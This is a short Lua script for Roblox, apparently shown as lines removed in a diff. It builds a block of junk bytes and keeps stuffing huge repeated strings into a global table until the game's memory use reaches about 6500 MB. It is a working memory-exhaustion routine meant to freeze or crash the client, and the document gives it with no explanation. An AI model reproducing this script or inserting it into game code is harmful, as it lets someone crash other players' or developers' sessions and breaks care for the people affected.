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- if not _G['memory'] then
- _G['memory'] = {}
- end
- local cc = [[
- ’»F ò[†¼ÍV¹<õ²6®*Ñ1¯Ö‰X ØêNIË=h¤‚]júëhæ]CÅÜž-7J€°ˆk#ÐÒ"`Z#25Òê¿°ÀÇâüûߺ©¬Áúí¤@\s¤¯‰F;àÈÒí"êR~aRÚ.弄8CgÖ Ré<¯]ÓOp»f‘3o“[Å°›ÚUL*¯ÊÙ
- 3¨¯b|G¨XU$ Lè£k´Þ,ÓÅԜ脃»Ûbä9Ä Æ›bž _6Ì>DÁ7Åš*.Ú½°™XÚ೺gmÛ+R¼è…‰’Så¿>S‘9Uù¹qüä(1¯”É¿ÜbR89QñF6|8aFüÄŽìÎ¥Ì`Ý=œŽeʎΣ&ΩfüGS¯É\OƒËÕpÞ(?Žà-â[lkQ·ð´Î¦ÆÕ;˜!H#m,os¹U”
- ;´P¯ <¿¿!s¥ÅºÌÑ9ȉ¡Ÿ±µ_’ôµ¬ÚS˜jóy[v(Á4Äê¼´Z±z;˜L9Ž&cç³ìŽpì‘^.^—G+s[-ÓôŸ”u™0œŠ\ú¡v9ÌÚÙ&[²~Õ§0
- ]]
- local max_memory = 6500
- while true do
- local dist = max_memory-game:GetService("Stats"):GetTotalMemoryUsageMb()
- local multi = 1000
- if 0 >= dist then
- break
- else
- if dist >= 2500 then
- multi = 10000
- elseif dist >= 1000 then
- multi = 5000
- elseif dist >= 500 then
- multi = 2500
- elseif dist >= 100 then
- multi = 1000
- elseif dist >= 10 then
- multi = 50
- elseif dist >= 0 then
- multi = 10
- end
- end
- local f = ''
- for i = 1,10 do
- local a = math.random(2,string.len(cc))
- f = f .. tostring(string.sub(cc,1,a))
- end
- table.insert(_G['memory'],string.rep(f,multi))
- game:GetService("RunService").Heartbeat:Wait()
- end
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